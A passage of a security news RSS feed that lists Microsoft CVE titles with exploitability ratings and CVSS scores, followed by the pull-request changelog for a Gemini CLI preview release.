Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34340">CVE-2026-34340</a></td><td><p>Windows Projected File System Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40398">CVE-2026-40398</a></td><td><p>Windows Remote Desktop Services Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-21530">CVE-2026-21530</a></td><td><p>Windows Rich Text Edit Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-32170">CVE-2026-32170</a></td><td><p>Windows Rich Text Edit Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.7</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40410">CVE-2026-40410</a></td><td><p>Windows SMB Client Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35415">CVE-2026-35415</a></td><td><p>Windows Storage Spaces Controller Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34350">CVE-2026-34350</a></td><td><p>Windows Storport Miniport Driver Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40405">CVE-2026-40405</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40414">CVE-2026-40414</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40401">CVE-2026-40401</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40413">CVE-2026-40413</a></td><td><p>Windows TCP/IP Denial of Service Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.4</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35422">CVE-2026-35422</a></td><td><p>Windows TCP/IP Driver Security Feature Bypass Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>6.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34351">CVE-2026-34351</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40399">CVE-2026-40399</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34334">CVE-2026-34334</a></td><td><p>Windows TCP/IP Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40406">CVE-2026-40406</a></td><td><p>Windows TCP/IP Information Disclosure Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.5</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33837">CVE-2026-33837</a></td><td><p>Windows TCP/IP Local Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40415">CVE-2026-40415</a></td><td><p>Windows TCP/IP Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>8.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42825">CVE-2026-42825</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34338">CVE-2026-34338</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40382">CVE-2026-40382</a></td><td><p>Windows Telephony Service Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40380">CVE-2026-40380</a></td><td><p>Windows Volume Manager Extension Driver Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>6.2</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40408">CVE-2026-40408</a></td><td><p>Windows WAN ARP Driver Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34333">CVE-2026-34333</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-34347">CVE-2026-34347</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>7.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-35417">CVE-2026-35417</a></td><td><p>Windows Win32k Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>7.8</p></td></tr></tbody></table><h2>Critical RCEs and EoPs</h2><table><thead><tr><th><p>CVE</p></th><th><p>Title</p></th><th><p>Exploitation status</p></th><th><p>Publicly disclosed?</p></th><th><p>CVSS v3 base score</p></th></tr></thead><tbody><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33109">CVE-2026-33109</a></td><td><p>Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-33844">CVE-2026-33844</a></td><td><p>Azure Managed Instance for Apache Cassandra Remote Code Execution Vulnerability</p></td><td><p>N/A</p></td><td><p>No</p></td><td><p>9.0</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42823">CVE-2026-42823</a></td><td><p>Azure Logic Apps Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42898">CVE-2026-42898</a></td><td><p>Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.9</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-42833">CVE-2026-42833</a></td><td><p>Microsoft Dynamics 365 On-Premises Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41103">CVE-2026-41103</a></td><td><p>Microsoft SSO Plugin for Jira &amp; Confluence Elevation of Privilege Vulnerability</p></td><td><p>Exploitation More Likely</p></td><td><p>No</p></td><td><p>9.1</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41096">CVE-2026-41096</a></td><td><p>Windows DNS Client Remote Code Execution Vulnerability</p></td><td><p>Exploitation Unlikely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-40402">CVE-2026-40402</a></td><td><p>Windows Hyper-V Elevation of Privilege Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.3</p></td></tr><tr><td><a href="https://msrc.microsoft.com/update-guide/en-US/advisory/CVE-2026-41089">CVE-2026-41089</a></td><td><p>Windows Netlogon Remote Code Execution Vulnerability</p></td><td><p>Exploitation Less Likely</p></td><td><p>No</p></td><td><p>9.8</p></td></tr></tbody></table><p></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Release v0.43.0-preview.0]]></title>
<description><![CDATA[What's Changed

feat(core): steer model to use edit tool for surgical edits, fix a typo by @aishaneeshah in #26480
docs: clarify Auto Memory proposes memory updates and skills by @SandyTao520 in #26527
fix(core): reject numeric project IDs in GOOGLE_CLOUD_PROJECT (#24695) by @Abhijit-2592 in #265...]]></description>
<link>https://tsecurity.de/de/3512038/downloads/release-v0430-preview0/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3512038/downloads/release-v0430-preview0/</guid>
<pubDate>Wed, 13 May 2026 00:31:31 +0200</pubDate>
<category>💾 Downloads</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<h2>What's Changed</h2>
<ul>
<li>feat(core): steer model to use edit tool for surgical edits, fix a typo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/aishaneeshah/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/aishaneeshah">@aishaneeshah</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4381087235" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26480" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26480/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26480">#26480</a></li>
<li>docs: clarify Auto Memory proposes memory updates and skills by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386200934" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26527" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26527/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26527">#26527</a></li>
<li>fix(core): reject numeric project IDs in GOOGLE_CLOUD_PROJECT (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4205999296" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/24695" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/24695/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/24695">#24695</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Abhijit-2592/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Abhijit-2592">@Abhijit-2592</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386590454" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26532" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26532/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26532">#26532</a></li>
<li>fix(core): remove unsafe type assertion suppressions in error utils by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/himanshu748/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/himanshu748">@himanshu748</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3973696331" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/19881" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/19881/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/19881">#19881</a></li>
<li>fix(core): allow redirection in YOLO and AUTO_EDIT modes without sandboxing by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/galz10/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/galz10">@galz10</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387119275" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26542" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26542/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26542">#26542</a></li>
<li>ci(release): build and attach unsigned macOS binaries to releases by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruomengz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruomengz">@ruomengz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4379085704" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26462" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26462/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26462">#26462</a></li>
<li>fix(core): Fix chat corruption bug in context manager. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386714086" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26534" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26534/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26534">#26534</a></li>
<li>fix(cli): provide JSON output for AgentExecutionStopped in non-interactive mode by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cynthialong0-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cynthialong0-0">@cynthialong0-0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4384581644" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26504" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26504/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26504">#26504</a></li>
<li>feat(evals): add shell command safety evals by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386323563" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26528" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26528/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26528">#26528</a></li>
<li>fix(core): handle invalid custom plans directory gracefully by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cynthialong0-0/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cynthialong0-0">@cynthialong0-0</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4388207252" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26560" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26560/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26560">#26560</a></li>
<li>fix(acp): move tool explanation from thought stream to tool call content by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/sripasg/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/sripasg">@sripasg</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387866189" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26554" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26554/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26554">#26554</a></li>
<li>fix(a2a-server): Resolve race condition in tool completion waiting by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kschaab/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kschaab">@kschaab</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4389217026" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26568" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26568/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26568">#26568</a></li>
<li>fix(cli): randomize sandbox container names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Kkartik14/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Kkartik14">@Kkartik14</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4331868914" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26014" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26014/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26014">#26014</a></li>
<li>fix(core): Fix hysteresis in async context management pipelines. by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/joshualitt/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/joshualitt">@joshualitt</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378168412" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26452" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26452/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26452">#26452</a></li>
<li>Tighten private Auto Memory patch allowlist by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386753620" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26535" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26535/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26535">#26535</a></li>
<li>fix(cli): hide read-only settings scopes by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cvan20191/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cvan20191">@cvan20191</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355374642" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26249" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26249/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26249">#26249</a></li>
<li>fix(ci): preserve executable bit for mac binaries by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/ruomengz/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/ruomengz">@ruomengz</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393544659" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26600" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26600/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26600">#26600</a></li>
<li>fix(cli): improve mcp list UX in untrusted folders by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Adib234/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Adib234">@Adib234</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4378781513" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26457" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26457/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26457">#26457</a></li>
<li>fix(core): prevent silent hang during OAuth auth on headless Linux by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/RhysSullivan/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/RhysSullivan">@RhysSullivan</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4389539817" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26571" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26571/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26571">#26571</a></li>
<li>Changelog for v0.42.0-preview.0 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/gemini-cli-robot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/gemini-cli-robot">@gemini-cli-robot</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4386987279" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26537" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26537/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26537">#26537</a></li>
<li>ci: fix Argument list too long in triage workflows by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393702371" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26603" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26603/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26603">#26603</a></li>
<li>refactor(cli): migrate core tools to native ToolDisplay property and fix UI rendering by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mbleigh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mbleigh">@mbleigh</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4245141942" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25186" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/25186/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/25186">#25186</a></li>
<li>don't wrap args unnecessarily by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/scidomino/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/scidomino">@scidomino</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4393511584" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26599" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26599/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26599">#26599</a></li>
<li>fix(core): preserve system PATH in Git environment to fix ENOENT (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4233385964" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/25034" data-hovercard-type="issue" data-hovercard-url="/google-gemini/gemini-cli/issues/25034/hovercard" href="https://github.com/google-gemini/gemini-cli/issues/25034">#25034</a>) by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4392227732" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26587" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26587/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26587">#26587</a></li>
<li>fix(routing): fix resolveClassifierModel argument mismatch in ApprovalModeStrategy by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/danielweis/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/danielweis">@danielweis</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400855534" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26658" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26658/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26658">#26658</a></li>
<li>docs: add vi mode shortcuts and clarify MCP/custom sandbox setup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chrisjcthomas/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chrisjcthomas">@chrisjcthomas</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4140199327" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/23853" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/23853/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/23853">#23853</a></li>
<li>fix(ux): fixed issue with transcribed text not showing after releasing space by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/devr0306/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/devr0306">@devr0306</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4394408807" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26609" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26609/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26609">#26609</a></li>
<li>ci: fix json parsing in scheduled triage workflow by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/cocosheng-g/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/cocosheng-g">@cocosheng-g</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4400821324" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26656" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26656/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26656">#26656</a></li>
<li>fix(cli): hide /memory add subcommand when memoryV2 is enabled by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/SandyTao520/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/SandyTao520">@SandyTao520</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4394311897" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26605" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26605/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26605">#26605</a></li>
<li>fix: prevent false command conflicts when launching from home directory by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Br1an67/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Br1an67">@Br1an67</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4099397262" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/23069" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/23069/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/23069">#23069</a></li>
<li>fix(core): cache model routing decision in LocalAgentExecutor by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/akh64bit/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/akh64bit">@akh64bit</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4387572383" data-permission-text="Title is private" data-url="https://github.com/google-gemini/gemini-cli/issues/26548" data-hovercard-type="pull_request" data-hovercard-url="/google-gemini/gemini-cli/pull/26548/hovercard" href="https://github.com/google-gemini/gemini-cli/pull/26548">#26548</a></li>
